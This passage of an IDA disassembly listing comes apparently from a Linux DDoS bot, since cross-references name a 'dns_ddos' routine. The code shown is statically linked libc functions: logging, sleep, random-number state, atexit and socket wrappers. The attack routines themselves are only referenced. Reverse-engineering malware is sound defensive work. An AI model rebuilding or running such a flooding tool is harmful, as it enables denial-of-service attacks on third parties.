		jbe	short loc_80551FC

loc_805523E:				; CODE XREF: sub_8054EC8+36Ej
		cmp	esi, ebx
		ja	short loc_80552A1
		test	byte ptr dword_8078898,	2
		jz	short loc_80552A1
		push	0
		push	1
		push	offset aDevConsole ; "/dev/console"
		call	__libc_open
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jl	short loc_80552A1
		push	offset asc_8067FC2 ; "\r\n"
		lea	ebx, [ebp+var_800]
		push	ebx
		call	strcat
		add	[ebp+var_C18], 2
		push	3Eh
		push	ebx
		call	strchr
		lea	esi, [eax+1]
		mov	eax, esi
		sub	eax, ebx
		mov	edx, [ebp+var_C18]
		sub	edx, eax
		mov	eax, edx
		push	eax
		push	esi
		push	edi
		call	__libc_write
		push	edi
		call	__libc_close

loc_80552A1:				; CODE XREF: sub_8054EC8+29j
					; sub_8054EC8+35j ...
		lea	esp, [ebp+var_C30]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8054EC8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80552B0	proc near		; CODE XREF: .text:0804C43Bp
					; sub_8054EC8+5Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		test	edx, edx
		jz	short loc_80552C7
		mov	dword_807889C, edx

loc_80552C7:				; CODE XREF: sub_80552B0+Fj
		mov	dword_8078898, ecx
		test	eax, eax
		jz	short loc_80552DD
		test	eax, 0FFFFFC07h
		jnz	short loc_80552DD
		mov	dword_80788A0, eax

loc_80552DD:				; CODE XREF: sub_80552B0+1Fj
					; sub_80552B0+26j
		cmp	dword_8078894, 0FFFFFFFFh
		jnz	short loc_805532D
		mov	ds:word_807AC5C, 1
		push	0Eh
		push	offset aDevLog	; "/dev/log"
		push	offset unk_807AC5E
		call	strncpy
		add	esp, 0Ch
		test	byte ptr dword_8078898,	8
		jz	short loc_8055324
		push	0
		push	1
		push	1
		call	socket		; open a SOCK_STREAM socket, type PF_UNIX, proto IP
		mov	dword_8078894, eax
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_805536A

loc_8055324:				; CODE XREF: sub_80552B0+5Aj
		cmp	dword_8078894, 0FFFFFFFFh
		jz	short loc_805536A

loc_805532D:				; CODE XREF: sub_80552B0+34j
		cmp	ds:dword_807AC58, 0
		jnz	short loc_805536A
		xor	al, al
		mov	edi, offset unk_807AC5E
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		inc	eax
		push	eax
		push	offset word_807AC5C
		mov	eax, dword_8078894
		push	eax
		call	connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_805536A
		mov	ds:dword_807AC58, 1

loc_805536A:				; CODE XREF: sub_80552B0+72j
					; sub_80552B0+7Bj ...
		mov	edi, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_80552B0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		push	1
		call	sub_8054E54
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+8]
		mov	eax, dword_80788A4
		test	edx, edx
		jz	short loc_8055399
		mov	dword_80788A4, edx

loc_8055399:				; CODE XREF: .text:08055391j
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80553A0	proc near		; CODE XREF: sub_8054EC8+18Dp
					; sub_8054EC8+202p ...

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		cmp	[ebp+arg_0], 0
		jz	loc_80555A4
		cmp	[ebp+arg_8], 0
		jz	loc_80555A4
		xor	al, al
		mov	edi, [ebp+arg_8]
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		lea	edi, [eax-1]
		test	edi, edi
		jz	loc_80555A4
		mov	ebx, [ebp+arg_0]
		cmp	byte ptr [ebx],	3Ch
		jnz	short loc_8055431
		movzx	edx, byte ptr [ebx+1]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	8
		jz	short loc_8055431
		cmp	byte ptr [ebx+2], 3Eh
		jnz	short loc_80553FC
		add	ebx, 3
		jmp	short loc_8055431
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80553FC:				; CODE XREF: sub_80553A0+55j
		movzx	edx, byte ptr [ebx+2]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	8
		jz	short loc_8055431
		cmp	byte ptr [ebx+3], 3Eh
		jnz	short loc_8055418
		add	ebx, 4
		jmp	short loc_8055431
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8055418:				; CODE XREF: sub_80553A0+70j
		movzx	edx, byte ptr [ebx+3]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	8
		jz	short loc_8055431
		cmp	byte ptr [ebx+4], 3Eh
		jnz	short loc_8055431
		add	ebx, 5

loc_8055431:				; CODE XREF: sub_80553A0+3Fj
					; sub_80553A0+4Fj ...
		movzx	eax, byte ptr [ebx]
		mov	edx, dword_8078FA0
		test	byte ptr [edx+eax*2+1],	4
		jz	loc_80554E8
		movzx	eax, byte ptr [ebx+1]
		test	byte ptr [edx+eax*2+1],	4
		jz	loc_80554E8
		movzx	eax, byte ptr [ebx+2]
		test	byte ptr [edx+eax*2+1],	4
		jz	loc_80554E8
		cmp	byte ptr [ebx+3], 20h
		jnz	short loc_80554E8
		cmp	byte ptr [ebx+4], 20h
		jz	short loc_805547A
		movzx	eax, byte ptr [ebx+4]
		test	byte ptr [edx+eax*2+1],	8
		jz	short loc_80554E8

loc_805547A:				; CODE XREF: sub_80553A0+CDj
		movzx	eax, byte ptr [ebx+5]
		mov	edx, dword_8078FA0
		test	byte ptr [edx+eax*2+1],	8
		jz	short loc_80554E8
		cmp	byte ptr [ebx+6], 20h
		jnz	short loc_80554E8
		movzx	eax, byte ptr [ebx+7]
		test	byte ptr [edx+eax*2+1],	8
		jz	short loc_80554E8
		movzx	eax, byte ptr [ebx+8]
		test	byte ptr [edx+eax*2+1],	8
		jz	short loc_80554E8
		cmp	byte ptr [ebx+9], 3Ah
		jnz	short loc_80554E8
		movzx	eax, byte ptr [ebx+0Ah]
		test	byte ptr [edx+eax*2+1],	8
		jz	short loc_80554E8
		movzx	eax, byte ptr [ebx+0Bh]
		test	byte ptr [edx+eax*2+1],	8
		jz	short loc_80554E8
		cmp	byte ptr [ebx+0Ch], 3Ah
		jnz	short loc_80554E8
		movzx	eax, byte ptr [ebx+0Dh]
		test	byte ptr [edx+eax*2+1],	8
		jz	short loc_80554E8
		movzx	eax, byte ptr [ebx+0Eh]
		test	byte ptr [edx+eax*2+1],	8
		jz	short loc_80554E8
		cmp	byte ptr [ebx+0Fh], 20h
		jnz	short loc_80554E8
		add	ebx, 10h

loc_80554E8:				; CODE XREF: sub_80553A0+9Fj
					; sub_80553A0+AEj ...
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		sub	esi, eax
		mov	[ebp+var_4], esi
		mov	eax, esi
		dec	eax
		cmp	edi, eax
		jl	short loc_8055514
		push	eax
		push	ebx
		mov	esi, [ebp+arg_8]
		push	esi
		call	bcopy
		mov	esi, [ebp+var_4]
		mov	byte ptr [ebx+esi-1], 0
		jmp	loc_80555A4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8055514:				; CODE XREF: sub_80553A0+15Aj
		push	edi
		mov	esi, [ebp+arg_8]
		push	esi
		push	ebx
		call	bcmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_80555A4
		mov	esi, [ebp+var_4]
		lea	eax, [ebx+esi-1]
		sub	eax, edi
		mov	byte ptr [eax],	0
		push	0
		push	ebx
		call	strchr
		mov	ecx, eax
		add	esp, 8
		cmp	ecx, ebx
		jb	short loc_8055599
		lea	edx, [ebx-1]
		mov	eax, edx
		sub	eax, ecx
		and	eax, 3
		cmp	ecx, edx
		jle	short loc_805556B
		test	eax, eax
		jz	short loc_8055578
		cmp	eax, 3
		jge	short loc_805556B
		cmp	eax, 2
		jge	short loc_8055565
		mov	al, [ecx]
		mov	[edi+ecx], al
		dec	ecx

loc_8055565:				; CODE XREF: sub_80553A0+1BDj
		mov	al, [ecx]
		mov	[edi+ecx], al
		dec	ecx

loc_805556B:				; CODE XREF: sub_80553A0+1AFj
					; sub_80553A0+1B8j
		mov	al, [ecx]
		mov	[edi+ecx], al
		dec	ecx
		cmp	ecx, ebx
		jb	short loc_8055599
		lea	esi, [esi+0]

loc_8055578:				; CODE XREF: sub_80553A0+1B3j
					; sub_80553A0+1F7j
		mov	al, [ecx]
		mov	[edi+ecx], al
		mov	al, [ecx-1]
		mov	[edi+ecx-1], al
		mov	al, [ecx-2]
		mov	[edi+ecx-2], al
		mov	al, [ecx-3]
		mov	[edi+ecx-3], al
		add	ecx, 0FFFFFFFCh
		cmp	ecx, ebx
		jnb	short loc_8055578

loc_8055599:				; CODE XREF: sub_80553A0+1A1j
					; sub_80553A0+1D3j
		push	edi
		push	ebx
		mov	esi, [ebp+arg_8]
		push	esi
		call	bcopy

loc_80555A4:				; CODE XREF: sub_80553A0+Dj
					; sub_80553A0+17j ...
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_80553A0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [00000049 BYTES: COLLAPSED FUNCTION usleep. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [0000006B BYTES: COLLAPSED FUNCTION execl. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [0000005C BYTES: COLLAPSED FUNCTION getenv. PRESS KEYPAD "+" TO EXPAND]

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80556C4	proc near		; DATA XREF: sleep+3Do
		push	ebp
		mov	ebp, esp
		mov	esp, ebp
		pop	ebp
		retn
sub_80556C4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sleep		proc near		; CODE XREF: real_start+48Ap
					; real_start+9C9p ...

var_3C		= byte ptr -3Ch
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	ecx, errno
		mov	[ebp+var_30], ecx
		test	edi, edi
		jnz	short loc_80556EC
		xor	eax, eax
		jmp	loc_80557DD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80556EC:				; CODE XREF: sleep+17j
		mov	[ebp+var_24], 2000h
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	0
		call	__libc_sigprocmask
		add	esp, 0Ch
		test	eax, eax
		jl	short loc_8055734
		mov	[ebp+var_10], offset sub_80556C4
		mov	[ebp+var_C], 0
		mov	[ebp+var_8], 0
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	0Eh
		call	__sigaction
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_805573C

loc_8055734:				; CODE XREF: sleep+3Bj
		mov	eax, edi
		jmp	loc_80557DD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805573C:				; CODE XREF: sleep+66j
		push	0
		call	__libc_time
		mov	[ebp+var_2C], eax
		push	edi
		call	__libc_alarm
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_8055784
		cmp	ebx, edi
		jnb	short loc_8055784
		push	0
		lea	eax, [ebp+var_20]
		push	eax
		push	0Eh
		call	__sigaction
		push	ebx
		call	__libc_alarm
		lea	eax, [ebp+var_28]
		push	eax
		call	sigsuspend
		push	0
		call	__libc_time
		mov	esi, eax
		add	esp, 18h
		jmp	short loc_80557A6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8055784:				; CODE XREF: sleep+87j	sleep+8Bj
		lea	eax, [ebp+var_28]
		push	eax
		call	sigsuspend
		push	0
		call	__libc_time
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_20]
		push	eax
		push	0Eh
		call	__sigaction
		add	esp, 14h

loc_80557A6:				; CODE XREF: sleep+B5j
		mov	eax, esi
		sub	eax, [ebp+var_2C]
		xor	esi, esi
		cmp	eax, edi
		ja	short loc_80557B5
		mov	esi, edi
		sub	esi, eax

loc_80557B5:				; CODE XREF: sleep+E3j
		xor	edx, edx
		cmp	eax, ebx
		ja	short loc_80557BF
		mov	edx, ebx
		sub	edx, eax

loc_80557BF:				; CODE XREF: sleep+EDj
		push	edx
		call	__libc_alarm
		push	0
		lea	eax, [ebp+var_28]
		push	eax
		push	2
		call	__libc_sigprocmask
		mov	ecx, [ebp+var_30]
		mov	errno, ecx
		mov	eax, esi

loc_80557DD:				; CODE XREF: sleep+1Bj	sleep+6Aj
		lea	esp, [ebp+var_3C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sleep		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [000001B5 BYTES: COLLAPSED FUNCTION system. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [0000021A BYTES: COLLAPSED FUNCTION srand. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [0000017C BYTES: COLLAPSED FUNCTION initstate. PRESS KEYPAD "+" TO EXPAND]
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+8]
		mov	eax, [ebx]
		mov	edi, 5
		cdq
		idiv	edi
		mov	ecx, edx
		mov	esi, eax
		mov	edx, rand_state_ptr
		add	edx, 0FFFFFFFCh
		mov	[ebp-4], edx
		cmp	rand_type, 0
		jnz	short loc_8055D78
		mov	eax, rand_state_ptr
		mov	dword ptr [eax-4], 0
		jmp	short loc_8055D94
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8055D78:				; CODE XREF: .text:08055D65j
		mov	edx, rand_state_ptr
		mov	eax, dword_8078954
		sub	eax, edx
		sar	eax, 2
		lea	eax, [eax+eax*4]
		add	eax, rand_type
		mov	[edx-4], eax

loc_8055D94:				; CODE XREF: .text:08055D73j
		cmp	ecx, 4
		jg	short loc_8055DC0
		test	ecx, ecx
		jl	short loc_8055DC0
		mov	rand_type, ecx
		mov	eax, dword_80788A8[ecx*4]
		mov	rand_deg, eax
		mov	eax, dword_80788BC[ecx*4]
		mov	rand_sep, eax
		jmp	short loc_8055DD0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8055DC0:				; CODE XREF: .text:08055D97j
					; .text:08055D9Bj
		mov	errno, 16h
		xor	eax, eax
		jmp	short loc_8055E2C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8055DD0:				; CODE XREF: .text:08055DBBj
		add	ebx, 4
		mov	rand_state_ptr,	ebx
		cmp	rand_type, 0
		jz	short loc_8055E11
		lea	eax, ds:0[esi*4]
		add	eax, ebx
		mov	dword_8078954, eax
		mov	eax, esi
		add	eax, rand_sep
		cdq
		idiv	rand_deg
		lea	eax, ds:0[edx*4]
		add	eax, rand_state_ptr
		mov	dword_8078950, eax

loc_8055E11:				; CODE XREF: .text:08055DE0j
		mov	edi, rand_deg
		lea	eax, ds:0[edi*4]
		add	eax, rand_state_ptr
		mov	rand_end_ptr, eax
		mov	eax, [ebp-4]

loc_8055E2C:				; CODE XREF: .text:08055DCCj
		lea	esp, [ebp-10h]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

__random	proc near		; CODE XREF: dns_ddos+163p
					; dns_ddos+1C4p ...
		push	ebp
		mov	ebp, esp
		cmp	rand_type, 0
		jnz	short loc_8055E68
		mov	eax, rand_state_ptr
		imul	edx, [eax], 41C64E6Dh
		add	edx, 3039h
		and	edx, 7FFFFFFFh
		mov	[eax], edx
		mov	eax, rand_state_ptr
		mov	eax, [eax]
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8055E68:				; CODE XREF: __random+Aj
		mov	edx, dword_8078950
		mov	eax, dword_8078954
		mov	eax, [eax]
		add	[edx], eax
		mov	eax, dword_8078950
		mov	edx, [eax]
		shr	edx, 1
		add	dword_8078950, 4
		mov	eax, dword_8078950
		cmp	rand_end_ptr, eax
		ja	short loc_8055EA8
		mov	eax, rand_state_ptr
		mov	dword_8078950, eax
		add	dword_8078954, 4
		jmp	short loc_8055EC6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8055EA8:				; CODE XREF: __random+5Bj
		add	dword_8078954, 4
		mov	eax, dword_8078954
		cmp	rand_end_ptr, eax
		ja	short loc_8055EC6
		mov	eax, rand_state_ptr
		mov	dword_8078954, eax

loc_8055EC6:				; CODE XREF: __random+6Ej __random+82j
		mov	eax, edx
		mov	esp, ebp
		pop	ebp
		retn
__random	endp

; [0000003C BYTES: COLLAPSED FUNCTION abort. PRESS KEYPAD "+" TO EXPAND]
; [0000002C BYTES: COLLAPSED FUNCTION atexit. PRESS KEYPAD "+" TO EXPAND]

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8055F34	proc near		; CODE XREF: atexit+7p
		push	ebp
		mov	ebp, esp
		mov	ecx, dword_8078AF4
		test	ecx, ecx
		jz	short loc_8055F6C
		lea	esi, [esi+0]

loc_8055F44:				; CODE XREF: sub_8055F34+36j
		xor	edx, edx
		cmp	[ecx+4], edx
		jbe	short loc_8055F60
		xor	eax, eax
		lea	esi, [esi+0]

loc_8055F50:				; CODE XREF: sub_8055F34+2Aj
		cmp	dword ptr [eax+ecx+8], 0
		jz	short loc_8055F98
		add	eax, 0Ch
		inc	edx
		cmp	[ecx+4], edx
		jnz	short loc_8055F50

loc_8055F60:				; CODE XREF: sub_8055F34+15j
		cmp	dword ptr [ecx+4], 1Fh
		jbe	short loc_8055FA0
		mov	ecx, [ecx]
		test	ecx, ecx
		jnz	short loc_8055F44

loc_8055F6C:				; CODE XREF: sub_8055F34+Bj
		push	188h
		call	malloc
		mov	ecx, eax
		test	ecx, ecx
		jz	short loc_8055FB4
		mov	eax, dword_8078AF4
		mov	[ecx], eax
		mov	dword_8078AF4, ecx
		mov	dword ptr [ecx+4], 1
		lea	eax, [ecx+8]
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8055F98:				; CODE XREF: sub_8055F34+21j
		lea	eax, [ecx+eax+8]
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8055FA0:				; CODE XREF: sub_8055F34+30j
		mov	eax, [ecx+4]
		lea	eax, [eax+eax*2]
		lea	eax, [ecx+eax*4+8]
		inc	dword ptr [ecx+4]
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8055FB4:				; CODE XREF: sub_8055F34+46j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_8055F34	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [00000070 BYTES: COLLAPSED FUNCTION exit. PRESS KEYPAD "+" TO	EXPAND]
; [0000002A BYTES: COLLAPSED FUNCTION mbtowc. PRESS KEYPAD "+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

random		proc near		; CODE XREF: real_start+28Bp
					; real_start+30Cp ...
		push	ebp
		mov	ebp, esp
		call	__random
		mov	esp, ebp
		pop	ebp
		retn
random		endp

; [000003D0 BYTES: COLLAPSED FUNCTION __strtol_internal. PRESS KEYPAD "+" TO EXPAND]
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+8]
		mov	edx, [ebp+0Ch]
		mov	eax, [ebp+10h]
		push	0
		push	eax
		push	edx
		push	ecx
		call	__strtol_internal
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [0000002F BYTES: COLLAPSED FUNCTION bcmp. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [000000AC BYTES: COLLAPSED FUNCTION bcopy. PRESS KEYPAD "+" TO EXPAND]
; [00000042 BYTES: COLLAPSED FUNCTION memcpy. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000086 BYTES: COLLAPSED FUNCTION memmove. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000045 BYTES: COLLAPSED FUNCTION strcasecmp. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000023 BYTES: COLLAPSED FUNCTION strcpy. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000040 BYTES: COLLAPSED FUNCTION strdup. PRESS KEYPAD "+" TO EXPAND]

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80566A4	proc near		; CODE XREF: Aerror+1Fp
					; sub_804E694+1Fp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	offset unk_807AC6C
		push	eax
		call	_strerror_internal
		mov	esp, ebp
		pop	ebp
		retn
sub_80566A4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [0000014E BYTES: COLLAPSED FUNCTION strncasecmp. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [000000C3 BYTES: COLLAPSED FUNCTION strncpy. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000082 BYTES: COLLAPSED FUNCTION strtok. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000067 BYTES: COLLAPSED FUNCTION __gethostname. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [0000003E BYTES: COLLAPSED FUNCTION signal. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000030 BYTES: COLLAPSED FUNCTION __waitpid. PRESS KEYPAD "+" TO EXPAND]

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

accept		proc near		; CODE XREF: real_start+865p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], ecx
		mov	edx, 5
		lea	ecx, [ebp+var_C]
		mov	eax, 66h
		mov	ebx, edx
		int	80h		; LINUX	- sys_socketcall
		mov	edx, eax
		test	edx, edx
		jge	short loc_8056A69
		neg	edx
		mov	errno, edx
		mov	edx, 0FFFFFFFFh

loc_8056A69:				; CODE XREF: accept+2Ej
		mov	eax, edx
		mov	ebx, [ebp+var_10]
		mov	esp, ebp
		pop	ebp
		retn
accept		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

bind		proc near		; CODE XREF: real_start+839p
					; bindresvport+ACp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], ecx
		mov	edx, 2
		lea	ecx, [ebp+var_C]
		mov	eax, 66h
		mov	ebx, edx
		int	80h		; LINUX	- sys_socketcall
		mov	edx, eax
		test	edx, edx
		jge	short loc_8056AB1
		neg	edx
		mov	errno, edx
		mov	edx, 0FFFFFFFFh

loc_8056AB1:				; CODE XREF: bind+2Ej
		mov	eax, edx
		mov	ebx, [ebp+var_10]
		mov	esp, ebp
		pop	ebp
		retn
bind		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

connect		proc near		; CODE XREF: res_send+215p
					; res_send+52Cp ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], ecx
		mov	edx, 3
		lea	ecx, [ebp+var_C]
		mov	eax, 66h
		mov	ebx, edx
		int	80h		; LINUX	- sys_socketcall
		mov	edx, eax
		test	edx, edx
		jge	short loc_8056AF9
		neg	edx
		mov	errno, edx
		mov	edx, 0FFFFFFFFh

loc_8056AF9:				; CODE XREF: connect+2Ej
		mov	eax, edx
		mov	ebx, [ebp+var_10]
		mov	esp, ebp
		pop	ebp
		retn
connect		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

listen		proc near		; CODE XREF: real_start+847p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], edx
		mov	edx, 4
		lea	ecx, [ebp+var_8]
		mov	eax, 66h
		mov	ebx, edx
		int	80h		; LINUX	- sys_socketcall
		mov	edx, eax
		test	edx, edx
		jge	short loc_8056B3B
		neg	edx
		mov	errno, edx
		mov	edx, 0FFFFFFFFh

loc_8056B3B:				; CODE XREF: listen+28j
		mov	eax, edx
		mov	ebx, [ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
listen		endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

recv		proc near		; CODE XREF: real_start+191p
					; real_start+896p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
